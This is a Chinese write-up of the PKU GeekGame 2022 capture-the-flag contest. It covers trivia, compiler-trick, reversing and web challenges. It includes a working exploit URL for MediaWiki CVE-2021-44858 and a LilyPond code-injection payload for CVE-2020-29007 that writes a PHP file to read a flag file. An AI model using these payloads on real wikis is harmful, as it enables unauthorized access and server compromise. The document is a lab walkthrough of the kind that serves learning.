1

PKU GeekGame 2022 题解

 1 year ago
source link: https://blog.lxdlam.com/post/8a92c50b/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

只做到周三,然后因为上班咕咕了,后面的很多题有了想法也没做,随便记一下。

听说跟去年一样。

经典 Windows 符号字体,copy 出来错位两行,随便搞下就行。

s = """原文"""
print(''.join(map(lambda x: x[0] + x[1], zip(*s.split('\n')))))

小北问答 · 极速版

问答部分,题目有 8 个,质数那个题应该需要猜一下,撞大运,所以没写。

  1. PKU Runner:直接 zip 或者 http://www.javadecompilers.com/apk decompile 看下 manifest 就行了。
  2. gStore:搜一下论文就能看到。
  3. ctf.世界一流大学.com:要么直接转一下(IDNA Encoding),要么直接 F12 访问一下就能看到 Host
  4. WebP:https://caniuse.com/webp
  5. BV 号:都是基于 mcfx 的 writeup,抄一份或者随便找个工具
  6. 电子游戏概论:看下去年题目的 server 源码就能找到。
  7. mac 地址:路由器因为各种原因会广播自己的 BSSID,去 https://www.wigle.net/ 搜一下,然后去地图上比划一下就有了。

然后就是经典大胖题,第一部分的输出是第二部分的输入。

from pwn import *
import re

HOST = "prob01.geekgame.pku.edu.cn"
PORT = 10001
TOKEN = rb""


def solve(line):
    if 'PKU Runner' in line:
        return b'cn.edu.pku.pkurunner'
    if 'gStore' in line:
        return b'10.14778/2002974.2002976'
    if 'ctf' in line:
        return b'ctf.xn--4gqwbu44czhc7w9a66k.com'
    if 'WebP' in line:
        return b'65'
    if 'BV1EV411s7vu' in line:
        return b'418645518'
    if 'd2:94:35:21:42:43' in line:
        return b'80304'
    mg = re.match(
        r"第 [0-9] 题:在第一届 PKU GeekGame 比赛的题目《电子游戏概论》中,通过第 ([0-9]+) 级关卡需要多少金钱?",
        line)
    if mg:
        level = int(mg.group(1))
        return str(300 + int(level**1.5) * 100).encode('utf8')

    return ''


if __name__ == "__main__":
    r = connect(HOST, PORT)

    r.sendlineafter(b"Please input your token: ", TOKEN, 1)
    r.sendlineafter(b"> ", "急急急".encode('utf8'))

    print('[+] Got connection.')

    for idx in range(7):
        prob = r.recvline_startswith(
            '第'.encode('utf8')).decode('utf8').strip('\n')
        ans = solve(prob)
        if len(ans) == 0:
            print('[!] Invalid problem.')
            print(f'[!] Problem: {prob}')
            exit(0)

        r.sendlineafter(b"> ", ans)
        line = r.recvline()
        if line.decode('utf8').strip('\n') != "鉴定为:答案正确。":
            print('[!] Fatal!')
            print(f'[!] Problem: {prob}')
            print(f'[!] Answer: {ans.decode("utf8")}')
            print(f'[!] Predict: {line.decode("utf8")}')
            exit(0)

        print(f'[+] Problem {idx+1}: success.')

    print(f'[+] All done!')
    print(f'[+] Remain: {r.recvall().decode("utf8")}')

编译原理习题课

搞个栈上数组就行了,记得确保初始化,不然可能会有优化 trick。

一开始我搞了个 main[-1u]{1},结果太大了被拒绝编译了。

long long array[2000000]{1};
int main() { return 0; }
//EOF

经典 Codegolf

#include __FILE__
#include __FILE__
//EOF

找个 Bug 或者 CVE 就可以了。我找到的是这个

void operator""_x(const char *, unsigned long);
static_assert(false, "foo"_x);
//EOF

Flag Checker

Flag1

Flag 被 Rot13 过,reverse 回去然后 base64 解一下就行。

Flag2

审计代码。

// codes...

ScriptEngineManager var2 = new ScriptEngineManager();
ScriptEngine var3 = var2.getEngineByName("nashorn");

try {
    String var4 = "";
    StringBuilder var8 = new StringBuilder();

    for(int var9 = 0; var9 < var4.length(); ++var9) {
        var8.append((char)(var4.charAt(var9) ^ 239));
    }

    var3.eval(var8.toString());
}

// codes...
else {
    Object var6 = this.invocable.invokeFunction(var1.getSource() == this.button2 ? "checkflag2" : "checkflag3", new Object[]{this.textField1.getText()});
}

// codes...

搜索得知 nashorn 是个 js 脚本引擎,逻辑把输入喂进 var4 处理之后的脚本,然后调用 checkflag2

处理完的 js 被混淆过,拖进 de4js 自动解不了,手修了一下。

function checkflag2(input) {
    return (JSON.stringify(input.split('').map(function (x) { return x.charCodeAt(0) })) == JSON.stringify([0, 15, 16, 17, 30, 105, 16, 31, 16, 67, 3, 33, 5, 60, 4, 106, 6, 41, 0, 1, 67, 3, 16, 4, 6, 33, 232].map(function (x) { return (checkflag2 + '').charAt(x) })) ? 'Correct' : 'Wrong')
}

最后把原始函数对应位置的字符抽出来 join 一下就是 flag。

进去随便玩一下,发现几个空白单元格的文字会一闪而过,所以猜测是 client 侧的权限验证。

用 Burpsuite 或者 Chrome Devtools 直接跟一下请求,搜索 机密,发现核心 api 是 /dop-api/opendoc/dop-api/get/sheet。分析下包结构就能拼出来链接了。

第二部分跟第一部分原理一样,从搜出来的请求里面正确找到构成 flag 图形的请求,想办法可视化一下就行,我的搞法是导出到了一个 CSV。

知识,与你分享

先看版本,1.34.4 发布在 2020,意味着可能会有很多漏洞可以抓。随便搜了下发现 CVE-2021-44858,直接越权访问文档,查看首页版本 2 就行。

https://prob07-<env>.geekgame.pku.edu.cn/index.php?title=%E9%A6%96%E9%A1%B5&action=mcrundo&undo=1&undoafter=2

来我家做客吧

登录进去先随便玩下,没啥东西。重新看版本,发现有个很刻意的扩展 Lilypond,直接搜一下就找到 CVE-2020-29007 和对应的讨论地址。读一下,然后 fuzz 一下就行。我的搞法是新建一个 test.php,直接 include flag2 文件,然后访问一下就有了。

<score>\new Staff <<{c^#

(object->string (system "echo \"<?php echo file_get_contents('/flag2') ?>\" > /var/www/html/test.php"))

}>></score>

Flag · 摆

一开始看了十分钟后端,发现咋没前端代码,然后想起来应该 F12 的。

审计一下前端:

if (localStorage.getItem('i_am_premium_user') === 'true') {
  import('./main-premium.js')
}

localStorage 随便改的,改了刷新一下就能看到 Flag。

381654729

搜了下为什么这个数很特殊,发现是一个 Polydivisiable Number,然后审计了一下代码,找一个 16 进制的 Polydivisiable Number。

先尝试按大端序拆一下需要异或这个数,发现最终的 byte 长度应该是 24,然后前面四个 byte 已经是 flag 了,那应该是后面 20 位,由于 xor 的关系,按 byte 分块之后各块没有关联,直接逐个块搜索一下就行。

from string import printable

B = 2511413510786744827187994827731403682185299073590935188882


def hl(num: int) -> int:
    return len(hex(num)) - 2


def gl(num: int) -> int:
    return (B >> ((hl(B) - hl(num)) * 4)) ^ num


def verify(num: int) -> bool:
    l = hl(num)
    for i in range(1, l + 1):
        if (num >> ((l - i) * 4)) % i > 0:
            return False

    return True


def dfs(cur):
    if hl(cur) == 48:
        if cur % 256 == ord('}'):
            return cur
    for i in printable[:-6]:
        nxt = (cur << 8) + ord(i)
        if verify(gl(nxt)):
            if (ret := dfs(nxt)) > 0:
                return ret

    return -1


if __name__ == "__main__":
    num = 0x666c61677b # flag{
    print(dfs(num).to_bytes(24, 'big'))

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK